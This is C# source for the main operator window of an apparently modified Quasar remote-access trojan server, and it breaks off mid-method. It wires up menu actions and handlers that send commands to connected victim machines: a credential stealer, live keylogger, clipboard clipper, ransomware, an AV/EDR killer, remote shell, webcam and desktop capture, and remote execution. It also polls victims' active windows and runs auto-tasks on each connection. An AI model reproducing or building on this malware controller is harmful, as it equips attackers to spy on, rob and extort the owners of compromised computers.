using Quasar.Common.Enums;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using Quasar.Server.Extensions;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Messages;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Utilities;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmMain : Form
    {
        public QuasarServer ListenServer { get; set; }

        private const int STATUS_ID = 4;
        private const int USERSTATUS_ID = 5;
        private const int ACTIVEWINDOW_ID = 9;

        private bool _processingClientConnections;
        private readonly ClientStatusHandler _clientStatusHandler;
        private readonly IntelixStealerHandler _intelixStealerHandler;
        private readonly SurvivalLogHandler _survivalLogHandler;
        private readonly LiveKeyloggerHandler _liveKeyloggerHandler;
        private readonly BotKillerHandler _botKillerHandler;
        private readonly RansomwareHandler _ransomwareHandler;
        private readonly SystemOptionHandler _systemOptionHandler;
        private Controls.StatisticsPanel statisticsPanel;
        private readonly Queue<KeyValuePair<Client, bool>> _clientConnections = new Queue<KeyValuePair<Client, bool>>();
        private readonly object _processingClientConnectionsLock = new object();
        private readonly object _lockClients = new object(); // lock for clients-listview
        
        // Traffic tracking
        private long _totalBytesReceived = 0;
        private long _totalBytesSent = 0;
        private System.Windows.Forms.Timer _trafficUpdateTimer;
        private System.Windows.Forms.Timer _activeWindowTimer;

        public FrmMain()
        {
            _clientStatusHandler = new ClientStatusHandler();
            _intelixStealerHandler = new IntelixStealerHandler();
            _survivalLogHandler = new SurvivalLogHandler();
            _liveKeyloggerHandler = new LiveKeyloggerHandler();
            _botKillerHandler = new BotKillerHandler();
            _ransomwareHandler = new RansomwareHandler();
            _systemOptionHandler = new SystemOptionHandler();

            RegisterMessageHandler();
            InitializeComponent();

            // Configure ListView
            lstClients.GridLines = false;
            if (lstClients.Columns.Count > 8)
                lstClients.Columns[8].Width = 120;
            contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16);
            contextMenuStrip.Font = new System.Drawing.Font("Segoe UI", 8.5f);

            // Initialize traffic update timer
            _trafficUpdateTimer = new System.Windows.Forms.Timer();
            _trafficUpdateTimer.Interval = 1000;
            _trafficUpdateTimer.Tick += TrafficUpdateTimer_Tick;
            _trafficUpdateTimer.Start();

            // Initialize active window update timer (every 5 seconds)
            _activeWindowTimer = new System.Windows.Forms.Timer();
            _activeWindowTimer.Interval = 5000;
            _activeWindowTimer.Tick += ActiveWindowTimer_Tick;
            _activeWindowTimer.Start();
        }

        /// <summary>
        /// Rebuilds the context menu based on the FlatContextMenu setting.
        /// Flat = all items in one list (except Client Management which stays as submenu).
        /// Grouped = default submenus (Administration, Monitoring, User Support).
        /// </summary>
        public void RebuildContextMenu()
        {
            if (this.InvokeRequired) { this.Invoke((MethodInvoker)RebuildContextMenu); return; }

            contextMenuStrip.Items.Clear();

            if (Settings.FlatContextMenu)
            {
                // Flat layout: all feature items directly in the root, Client Management stays as submenu
                var items = new System.Windows.Forms.ToolStripItem[]
                {
                    // Administration items
                    systemInformationToolStripMenuItem,
                    fileManagerToolStripMenuItem,
                    startupManagerToolStripMenuItem,
                    taskManagerToolStripMenuItem,
                    remoteShellToolStripMenuItem,
                    connectionsToolStripMenuItem,
                    reverseProxyToolStripMenuItem,
                    registryEditorToolStripMenuItem,
                    remoteExecuteToolStripMenuItem,
                    actionsToolStripMenuItem,
                    // Monitoring items
                    remoteDesktopToolStripMenuItem,
                    webcamToolStripMenuItem,
                    keyloggerToolStripMenuItem,
                    intelixStealerToolStripMenuItem,
                    clipperToolStripMenuItem,
                    survivalToolStripMenuItem,
                    avKillerToolStripMenuItem,
                    botKillerToolStripMenuItem,
                    ransomwareToolStripMenuItem,
                    systemOptionsToolStripMenuItem,
                    // User Support items
                    showMessageboxToolStripMenuItem,
                    visitWebsiteToolStripMenuItem,
                    // Separator + Client Management + Select All
                    lineToolStripMenuItem,
                    connectionToolStripMenuItem,
                    selectAllToolStripMenuItem,
                };
                contextMenuStrip.Items.AddRange(items);
            }
            else
            {
                // Grouped layout (default)
                contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[]
                {
                    systemToolStripMenuItem,
                    surveillanceToolStripMenuItem,
                    userSupportToolStripMenuItem,
                    connectionToolStripMenuItem,
                    lineToolStripMenuItem,
                    selectAllToolStripMenuItem,
                });
            }
        }

        /// <summary>
        /// Registers the client status message handler for client communication.
        /// </summary>
        private void RegisterMessageHandler()
        {
            MessageHandler.Register(_clientStatusHandler);
            MessageHandler.Register(_intelixStealerHandler);
            MessageHandler.Register(_survivalLogHandler);
            MessageHandler.Register(_liveKeyloggerHandler);
            MessageHandler.Register(_botKillerHandler);
            MessageHandler.Register(_ransomwareHandler);
            MessageHandler.Register(_systemOptionHandler);
            _clientStatusHandler.StatusUpdated += SetStatusByClient;
            _clientStatusHandler.UserStatusUpdated += SetUserStatusByClient;
        }

        /// <summary>
        /// Unregisters the client status message handler.
        /// </summary>
        private void UnregisterMessageHandler()
        {
            MessageHandler.Unregister(_clientStatusHandler);
            MessageHandler.Unregister(_intelixStealerHandler);
            MessageHandler.Unregister(_survivalLogHandler);
            MessageHandler.Unregister(_liveKeyloggerHandler);
            MessageHandler.Unregister(_botKillerHandler);
            MessageHandler.Unregister(_ransomwareHandler);
            MessageHandler.Unregister(_systemOptionHandler);
            _clientStatusHandler.StatusUpdated -= SetStatusByClient;
            _clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient;
        }

        public void UpdateWindowTitle()
        {
            try
            {
                if (this.InvokeRequired)
                {
                    this.Invoke((MethodInvoker)UpdateWindowTitle);
                    return;
                }
                int selected = lstClients.SelectedItems.Count;
                int totalConnected = ListenServer?.ConnectedClients.Length ?? 0;
                string ratName = Settings.CustomRatName;
                this.Text = (selected > 0)
                    ? string.Format("{0} - Connected: {1} [Selected: {2}]", ratName, totalConnected, selected)
                    : string.Format("{0} - Connected: {1}", ratName, totalConnected);
            }
            catch (Exception)
            {
            }
        }

        private void InitializeServer()
        {
            X509Certificate2 serverCertificate;
#if DEBUG
            serverCertificate = new DummyCertificate();
#else
            if (!File.Exists(Settings.CertificatePath))
            {
                using (var certificateSelection = new FrmCertificate())
                {
                    while (certificateSelection.ShowDialog() != DialogResult.OK)
                    { }
                }
            }
            serverCertificate = new X509Certificate2(Settings.CertificatePath);
#endif
            ListenServer = new QuasarServer(serverCertificate);
            ListenServer.ServerState += ServerState;
            ListenServer.ClientConnected += ClientConnected;
            ListenServer.ClientDisconnected += ClientDisconnected;
        }

        private void StartConnectionListener()
        {
            try
            {
                ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP);
            }
            catch (SocketException ex)
            {
                if (ex.ErrorCode == 10048)
                {
                    MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                else
                {
                    MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                ListenServer.Disconnect();
            }
            catch (Exception)
            {
                ListenServer.Disconnect();
            }
        }

        private void AutostartListening()
        {
            if (Settings.AutoListen)
            {
                StartConnectionListener();
            }

            if (Settings.EnableNoIPUpdater)
            {
                NoIpUpdater.Start();
            }
        }

        private void FrmMain_Load(object sender, EventArgs e)
        {
            UpdateWindowTitle();
            if (Settings.DarkMode)
                DarkModeManager.ApplyDarkMode(this);
            InitializeServer();
            AutostartListening();
            EmbedFormsIntoTabs();
            RebuildContextMenu();
        }

        private void EmbedFormsIntoTabs()
        {
            // Embed Builder form
            var builderForm = new FrmBuilder();
            builderForm.TopLevel = false;
            builderForm.FormBorderStyle = FormBorderStyle.None;
            builderForm.Dock = DockStyle.Fill;
            tabBuilder.Controls.Add(builderForm);
            builderForm.Show();
            builderForm.Invalidate(true);

            // Embed Settings form
            var settingsForm = new FrmSettings(ListenServer);
            settingsForm.TopLevel = false;
            settingsForm.FormBorderStyle = FormBorderStyle.None;
            settingsForm.Dock = DockStyle.Fill;
            tabSettings.Controls.Add(settingsForm);
            settingsForm.Show();
            settingsForm.Invalidate(true);

            // Embed AutoTasks form
            var autoTasksForm = new FrmAutoTasks();
            autoTasksForm.TopLevel = false;
            autoTasksForm.FormBorderStyle = FormBorderStyle.None;
            autoTasksForm.Dock = DockStyle.Fill;
            tabAutoTasks.Controls.Add(autoTasksForm);
            autoTasksForm.Show();
            autoTasksForm.Invalidate(true);

            // Embed Statistics panel
            if (statisticsPanel == null)
            {
                statisticsPanel = new Controls.StatisticsPanel(ListenServer);
            }
            statisticsPanel.Dock = DockStyle.Fill;
            tabStatistics.Controls.Add(statisticsPanel);

            // Embed About form
            var aboutForm = new FrmAbout();
            aboutForm.TopLevel = false;
            aboutForm.FormBorderStyle = FormBorderStyle.None;
            aboutForm.Dock = DockStyle.Fill;
            tabAbout.Controls.Add(aboutForm);
            aboutForm.Show();
        }

        private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (_trafficUpdateTimer != null)
            {
                _trafficUpdateTimer.Stop();
                _trafficUpdateTimer.Dispose();
            }
            if (_activeWindowTimer != null)
            {
                _activeWindowTimer.Stop();
                _activeWindowTimer.Dispose();
            }
            ListenServer.Disconnect();
            UnregisterMessageHandler();
            notifyIcon.Visible = false;
            notifyIcon.Dispose();
        }

        private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
        {
            UpdateWindowTitle();
        }

        private void ServerState(Networking.Server server, bool listening, ushort port)
        {
            try
            {
                this.Invoke((MethodInvoker) delegate
                {
                    if (!listening)
                        lstClients.Items.Clear();
                    listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening.";
                });
                UpdateWindowTitle();
            }
            catch (InvalidOperationException)
            {
            }
        }

        private void TrafficUpdateTimer_Tick(object sender, EventArgs e)
        {
            if (ListenServer != null)
            {
                _totalBytesReceived = ListenServer.BytesReceived;
                _totalBytesSent = ListenServer.BytesSent;
            }
            UpdateTrafficLabel();
        }

        private void ActiveWindowTimer_Tick(object sender, EventArgs e)
        {
            // Request active window from all connected clients
            // This runs every 5 seconds (configured in Designer)
            try
            {
                var clients = GetConnectedClients();
                foreach (var client in clients)
                {
                    if (client != null && client.Connected)
                    {
                        client.Send(new GetActiveWindow());
                    }
                }
            }
            catch { }
        }

        private void Client_ClientRead(Client client, IMessage message, int messageLength)
        {
            if (message is GetActiveWindowResponse response)
            {
                if (client.Value != null)
                    client.Value.ActiveWindow = response.WindowTitle;

                lstClients.Invoke((MethodInvoker)delegate
                {
                    var item = GetListViewItemByClient(client);
                    if (item != null && item.SubItems.Count > ACTIVEWINDOW_ID)
                        item.SubItems[ACTIVEWINDOW_ID].Text = response.WindowTitle ?? "";
                });
            }
        }

        private void UpdateTrafficLabel()
        {
            if (trafficToolStripStatusLabel == null) return;
            string text = string.Format("Traffic: ↓ {0} | ↑ {1}",
                StringHelper.GetHumanReadableFileSize(_totalBytesReceived),
                StringHelper.GetHumanReadableFileSize(_totalBytesSent));
            if (this.InvokeRequired)
                this.Invoke((MethodInvoker)(() => trafficToolStripStatusLabel.Text = text));
            else
                trafficToolStripStatusLabel.Text = text;
        }

        private void ClientConnected(Client client)
        {
            lock (_clientConnections)
            {
                if (!ListenServer.Listening) return;
                _clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, true));
            }

            lock (_processingClientConnectionsLock)
            {
                if (!_processingClientConnections)
                {
                    _processingClientConnections = true;
                    ThreadPool.QueueUserWorkItem(ProcessClientConnections);
                }
            }

            // Execute Auto Tasks on Initial Connection
            ExecuteAutoTasks(client, "Initial");

            // Request initial active window
            try
            {
                client.Send(new GetActiveWindow());
            }
            catch { }
        }

        private void ClientDisconnected(Client client)
        {
            lock (_clientConnections)
            {
                if (!ListenServer.Listening) return;
                _clientConnections.Enqueue(new KeyValuePair<Client, bool>(client, false));
            }

            lock (_processingClientConnectionsLock)
            {
                if (!_processingClientConnections)
                {
                    _processingClientConnections = true;
                    ThreadPool.QueueUserWorkItem(ProcessClientConnections);
                }
            }
        }

        private void ProcessClientConnections(object state)
        {
            while (true)
            {
                KeyValuePair<Client, bool> client;
                lock (_clientConnections)
                {
                    if (!ListenServer.Listening)
                    {
                        _clientConnections.Clear();
                    }

                    if (_clientConnections.Count == 0)
                    {
                        lock (_processingClientConnectionsLock)
                        {
                            _processingClientConnections = false;
                        }
                        return;
                    }

                    client = _clientConnections.Dequeue();
                }

                if (client.Key != null)
                {
                    switch (client.Value)
                    {
                        case true:
                            AddClientToListview(client.Key);
                            if (Settings.ShowPopup)
                                ShowPopup(client.Key);
                            break;
                        case false:
                            RemoveClientFromListview(client.Key);
                            break;
                    }
                }
            }
        }

        /// <summary>
        /// Sets the tooltip text of the listview item of a client.
        /// </summary>
        /// <param name="client">The client on which the change is performed.</param>
        /// <param name="text">The new tooltip text.</param>
        public void SetToolTipText(Client client, string text)
        {
            if (client == null) return;

            try
            {
                lstClients.Invoke((MethodInvoker) delegate
                {
                    var item = GetListViewItemByClient(client);
                    if (item != null)
                        item.ToolTipText = text;
                });
            }
            catch (InvalidOperationException)
            {
            }
        }

        /// <summary>
        /// Adds a connected client to the Listview.
        /// </summary>
        /// <param name="client">The client to add.</param>
        private void AddClientToListview(Client client)
        {
            if (client == null) return;

            try
            {
                // Prevent duplicate entries
                lstClients.Invoke((MethodInvoker)delegate
                {
                    lock (_lockClients)
                    {
                        if (lstClients.Items.Cast<ListViewItem>().Any(item => item != null && client.Equals(item.Tag)))
                            return;

                        ListViewItem lvi = new ListViewItem(new string[]
                        {
                            " " + client.EndPoint.Address, client.Value.Tag,
                            client.Value.UserAtPc, client.Value.Version, "Connected", "Active", client.Value.CountryWithCode,
                            client.Value.OperatingSystem, client.Value.AccountType, ""
                        }) { Tag = client, ImageIndex = client.Value.ImageIndex };

                        // Ensure no double-subscription
                        client.ClientRead -= Client_ClientRead;
                        client.ClientRead += Client_ClientRead;

                        lstClients.Items.Add(lvi);
                    }
                });

                UpdateWindowTitle();
            }
            catch (InvalidOperationException)
            {
            }
        }

        /// <summary>
        /// Removes a connected client from the Listview.
        /// </summary>
        /// <param name="client">The client to remove.</param>
        private void RemoveClientFromListview(Client client)
        {
            if (client == null) return;

            try
            {
                lstClients.Invoke((MethodInvoker) delegate
                {
                    lock (_lockClients)
                    {
                        foreach (ListViewItem lvi in lstClients.Items.Cast<ListViewItem>()
                            .Where(lvi => lvi != null && client.Equals(lvi.Tag)))
                        {
                            lvi.Remove();
                            break;
                        }
                    }
                });
                UpdateWindowTitle();
            }
            catch (InvalidOperationException)
            {
            }
        }

        /// <summary>
        /// Sets the status of a client.
        /// </summary>
        /// <param name="sender">The message handler which raised the event.</param>
        /// <param name="client">The client to update the status of.</param>
        /// <param name="text">The new status.</param>
        private void SetStatusByClient(object sender, Client client, string text)
        {
            var item = GetListViewItemByClient(client);
            if (item != null)
                item.SubItems[STATUS_ID].Text = text;
        }

        /// <summary>
        /// Sets the user status of a client.
        /// </summary>
        /// <param name="sender">The message handler which raised the event.</param>
        /// <param name="client">The client to update the user status of.</param>
        /// <param name="userStatus">The new user status.</param>
        private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus)
        {
            var item = GetListViewItemByClient(client);
            if (item != null)
                item.SubItems[USERSTATUS_ID].Text = userStatus.ToString();

        }

        /// <summary>
        /// Gets the Listview item which belongs to the client. 
        /// Must be called from the UI thread.
        /// </summary>
        /// <param name="client">The client to get the Listview item of.</param>
        /// <returns>Listview item of the client, or null if not found.</returns>
        private ListViewItem GetListViewItemByClient(Client client)
        {
            if (client == null) return null;

            // Must be on UI thread — callers from background threads should use BeginInvoke
            if (lstClients.InvokeRequired) return null;

            return lstClients.Items.Cast<ListViewItem>()
                .FirstOrDefault(lvi => lvi != null && client.Equals(lvi.Tag));
        }

        /// <summary>
        /// Gets all selected clients.
        /// </summary>
        /// <returns>An array of all selected Clients.</returns>
        private Client[] GetSelectedClients()
        {
            List<Client> clients = new List<Client>();

            lstClients.Invoke((MethodInvoker)delegate
            {
                lock (_lockClients)
                {
                    if (lstClients.SelectedItems.Count == 0) return;
                    foreach (ListViewItem lvi in lstClients.SelectedItems)
                    {
                        if (lvi != null && lvi.Tag is Client client)
                            clients.Add(client);
                    }
                }
            });

            return clients.ToArray();
        }

        /// <summary>
        /// Gets all connected clients.
        /// </summary>
        /// <returns>An array of all connected Clients.</returns>
        private Client[] GetConnectedClients()
        {
            return ListenServer.ConnectedClients;
        }

        /// <summary>
        /// Displays a popup with information about a client.
        /// </summary>
        /// <param name="c">The client.</param>
        private void ShowPopup(Client c)
        {
            try
            {
                this.Invoke((MethodInvoker)delegate
                {
                    if (c == null || c.Value == null) return;
                    
                    notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country),
                        string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(),
                        c.Value.OperatingSystem), ToolTipIcon.Info);
                });
            }
            catch (InvalidOperationException)
            {
            }
        }

        #region "ContextMenuStrip"

        #region "Client Management"

        private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                c.Send(new DoAskElevate());
            }
        }

        private void updateToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length > 0)
            {
                FrmRemoteExecution frmRe = new FrmRemoteExecution(clients);
                frmRe.Show();
            }
        }

        private void reconnectToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                c.Send(new DoClientReconnect());
            }
        }

        private void disconnectToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                c.Send(new DoClientDisconnect());
            }
        }

        private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count == 0) return;
            if (
                MessageBox.Show(
                    string.Format(
                        "Are you sure you want to uninstall the client on {0} computer\\s?",
                        lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
                    MessageBoxIcon.Question) == DialogResult.Yes)
            {
                foreach (Client c in GetSelectedClients())
                {
                    c.Send(new DoClientUninstall());
                }
            }
        }

        #endregion

        #region "Administration"

        private void systemInformationToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                FrmSystemInformation frmSi = FrmSystemInformation.CreateNewOrGetExisting(c);
                frmSi.Show();
                frmSi.Focus();
            }
        }

        private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                FrmFileManager frmFm = FrmFileManager.CreateNewOrGetExisting(c);
                frmFm.Show();
                frmFm.Focus();
            }
        }

        private void startupManagerToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                FrmStartupManager frmStm = FrmStartupManager.CreateNewOrGetExisting(c);
                frmStm.Show();
                frmStm.Focus();
            }
        }

        private void taskManagerToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                FrmTaskManager frmTm = FrmTaskManager.CreateNewOrGetExisting(c);
                frmTm.Show();
                frmTm.Focus();
            }
        }

        private void remoteShellToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(c);
                frmRs.Show();
                frmRs.Focus();
            }
        }

        private void connectionsToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                FrmConnections frmCon = FrmConnections.CreateNewOrGetExisting(c);
                frmCon.Show();
                frmCon.Focus();
            }
        }

        private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length > 0)
            {
                FrmReverseProxy frmRs = new FrmReverseProxy(clients);
                frmRs.Show();
            }
        }

        private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                foreach (Client c in GetSelectedClients())
                {
                    FrmRegistryEditor frmRe = FrmRegistryEditor.CreateNewOrGetExisting(c);
                    frmRe.Show();
                    frmRe.Focus();
                }
            }
        }

        private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length > 0)
            {
                FrmRemoteExecution frmRe = new FrmRemoteExecution(clients);
                frmRe.Show();
            }
        }

        private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length > 0)
            {
                FrmRemoteExecution frmRe = new FrmRemoteExecution(clients);
                frmRe.Show();
            }
        }

        private void shutdownToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                c.Send(new DoShutdownAction {Action = ShutdownAction.Shutdown});
            }
        }

        private void restartToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                c.Send(new DoShutdownAction {Action = ShutdownAction.Restart});
            }
        }

        private void standbyToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                c.Send(new DoShutdownAction {Action = ShutdownAction.Standby});
            }
        }

        #endregion

        #region "Monitoring"

        private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                var frmRd = FrmRemoteDesktop.CreateNewOrGetExisting(c);
                frmRd.Show();
                frmRd.Focus();
            }
        }

        private void webcamToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                var frmWebcam = FrmRemoteWebcam.CreateNewOrGetExisting(c);
                frmWebcam.Show();
                frmWebcam.Focus();
            }
        }

        private void intelixStealerToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length > 0)
            {
                foreach (Client client in clients)
                {
                    client.Send(new GetIntelixStealerLogs());
                }
                MessageBox.Show($"Intelix Stealer command sent to {clients.Length} client(s).\nResults will be saved when received.", 
                    "Intelix Stealer", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }

        private void clipperToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length > 0)
            {
                using (var frm = new FrmClipper(clients))
                {
                    frm.ShowDialog();
                }
            }
        }

        private void survivalToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length > 0)
            {
                using (var frm = new FrmSurvival(clients))
                {
                    frm.ShowDialog();
                }
            }
        }

        private void avKillerToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length == 1)
            {
                var frm = new FrmAVKiller(clients[0]);
                frm.Show();
            }
            else if (clients.Length == 0)
            {
                MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            else
            {
                MessageBox.Show("Please select only one client for AV/EDR Killer.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }

        private void botKillerToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length == 1)
            {
                var frm = new FrmBotKiller(clients[0]);
                frm.Show();
            }
            else if (clients.Length == 0)
            {
                MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            else
            {
                MessageBox.Show("Please select only one client for BotKiller.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }



        private void ransomwareToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length == 1)
            {
                var frm = new FrmRansomware(clients[0]);
                frm.Show();
            }
            else if (clients.Length == 0)
            {
                MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            else
            {
                MessageBox.Show("Please select only one client for Ransomware.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }

        private void keyloggerToolStripMenuItem_Click(object sender, EventArgs e)
        {
            foreach (Client c in GetSelectedClients())
            {
                FrmLiveKeylogger frmKl = Messages.LiveKeyloggerHandler.CreateOrGetForm(c);
                frmKl.Show();
                frmKl.Focus();
            }
        }

        #endregion

        #region "User Support"

        private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        foreach (Client c in GetSelectedClients())
                        {
                            c.Send(new DoVisitWebsite
                            {
                                Url = frm.Url,
                                Hidden = frm.Hidden
                            });
                        }
                    }
                }
            }
        }

        private void showMessageboxToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        foreach (Client c in GetSelectedClients())
                        {
                            c.Send(new DoShowMessageBox
                            {
                                Caption = frm.MsgBoxCaption,
                                Text = frm.MsgBoxText,
                                Button = frm.MsgBoxButton,
                                Icon = frm.MsgBoxIcon
                            });
                        }
                    }
                }
            }
        }

        #endregion

        private void selectAllToolStripMenuItem_Click(object sender, EventArgs e)
        {
            lstClients.SelectAllItems();
        }

        #endregion

        #region "MenuStrip"

        private void closeToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void settingsToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (var frm = new FrmSettings(ListenServer))
            {
                frm.ShowDialog();
            }
        }

        private void builderToolStripMenuItem_Click(object sender, EventArgs e)
        {
#if DEBUG
            MessageBox.Show("Client Builder is not available in DEBUG configuration.\nPlease build the project using RELEASE configuration.", "Not available", MessageBoxButtons.OK, MessageBoxIcon.Information);
#else
            using (var frm = new FrmBuilder())
            {
                frm.ShowDialog();
            }
#endif
        }

        private void autoTasksMenuToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (var frm = new FrmAutoTasks())
            {
                frm.ShowDialog();
            }
        }

        private void statisticsToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (lstClients.Visible)
            {
                if (statisticsPanel == null)
                {
                    statisticsPanel = new Controls.StatisticsPanel(ListenServer);
                    statisticsPanel.Dock = DockStyle.Fill;
                    statisticsPanel.Visible = false;
                    int row = tableLayoutPanel.GetRow(lstClients);
                    int col = tableLayoutPanel.GetColumn(lstClients);
                    tableLayoutPanel.Controls.Add(statisticsPanel);
                    tableLayoutPanel.SetRow(statisticsPanel, row);
                    tableLayoutPanel.SetColumn(statisticsPanel, col);
                }
                tableLayoutPanel.SuspendLayout();
                lstClients.Visible = false;
                statisticsPanel.Visible = true;
                tableLayoutPanel.ResumeLayout(false);
            }
            else
            {
                tableLayoutPanel.SuspendLayout();
                if (statisticsPanel != null)
                    statisticsPanel.Visible = false;
                lstClients.Visible = true;
                tableLayoutPanel.ResumeLayout(false);
            }
        }

        private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (var frm = new FrmAbout())
            {
                frm.ShowDialog();
            }
        }

        #endregion

        #region "NotifyIcon"

        private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e)
        {
            this.WindowState = (this.WindowState == FormWindowState.Normal)
                ? FormWindowState.Minimized
                : FormWindowState.Normal;
            this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal);
        }

        private void ExecuteAutoTasks(Client client, string trigger)
        {
            foreach (var task in FrmAutoTasks.ConfiguredTasks)
            {
                if (task.Trigger != trigger && task.Trigger != "All") continue;

                try
                {
                    client.Send(new DoAutoTask
                    {
                        TaskType = task.TaskType,
                        Param1 = task.Param1,
                        Param2 = task.Param2,
                        Param3 = task.Param3
                    });
                }
                catch { }
            }
        }

        private void systemOptionsToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Client[] clients = GetSelectedClients();
            if (clients.Length == 1)
            {
                var frm = new FrmSystemOptions(clients[0]);
                frm.Show();
            }
            else if (clients.Length == 0)
            {
                MessageBox.Show("Please select a client.", "No Client Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            else
            {
                MessageBox.Show("Please select only one client for System Options.", "Multiple Clients Selected", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
        }

        private void txtSearch_TextChanged(object sender, EventArgs e)
        {
            string searchText = txtSearch.Text.Trim().ToLower();
            
            if (string.IsNullOrEmpty(searchText))
            {
                // Show all items and remove highlighting
                lstClients.BeginUpdate();
                foreach (ListViewItem item in lstClients.Items)
                {
                    item.BackColor = System.Drawing.Color.Empty;
                    item.ForeColor = System.Drawing.Color.White;
                }
                lstClients.EndUpdate();
                return;
            }

            lstClients.BeginUpdate();
            List<ListViewItem> matchedItems = new List<ListViewItem>();

            // Get Windows accent color for highlighting
            System.Drawing.Color accentColor = System.Drawing.SystemColors.Highlight;

            foreach (ListViewItem item in lstClients.Items)
            {
                bool matches = false;
                
                // Search through all subitems (IP, Tag, User@PC, Version, Country, OS, etc.)
                foreach (ListViewItem.ListViewSubItem subItem in item.SubItems)
                {
                    if (subItem.Text.ToLower().Contains(searchText))
                    {
                        matches = true;
                        break;
                    }
                }

                if (matches)
                {
                    // Highlight matched items with Windows accent color
                    item.BackColor = accentColor;
                    item.ForeColor = System.Drawing.SystemColors.HighlightText;
